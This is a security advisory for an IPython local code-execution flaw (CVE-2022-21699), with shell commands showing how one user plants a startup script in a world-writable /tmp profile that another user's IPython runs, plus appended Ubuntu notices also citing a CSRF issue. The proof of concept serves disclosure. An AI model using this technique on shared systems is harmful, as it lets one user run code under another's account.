CVE-2022-21699

IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.

We’d like to disclose an arbitrary code execution vulnerability in IPython that stems from IPython executing untrusted files in CWD. This vulnerability allows one user to run code as another.

Proof of concept

User1:

mkdir -m 777 /tmp/profile_default
mkdir -m 777 /tmp/profile_default/startup
echo 'print("stealing your private secrets")' > /tmp/profile_default/startup/foo.py

User2:

cd /tmp
ipython

User2 will see:

Python 3.9.7 (default, Oct 25 2021, 01:04:21)
Type 'copyright', 'credits' or 'license' for more information
IPython 7.29.0 -- An enhanced Interactive Python. Type '?' for help.

It was discovered that IPython incorrectly processed REST API POST requests. An attacker could possibly use this issue to launch a cross-site request forgery (CSRF) attack and leak user's sensitive information. This issue only affected Ubuntu 14.04 ESM. (CVE-2015-5607)

It was discovered that IPython did not properly manage cross user temporary files. A local attacker could possibly use this issue to execute arbitrary code. This issue only affected Ubuntu 18.04 ESM and Ubuntu 20.04 ESM. (CVE-2022-21699)
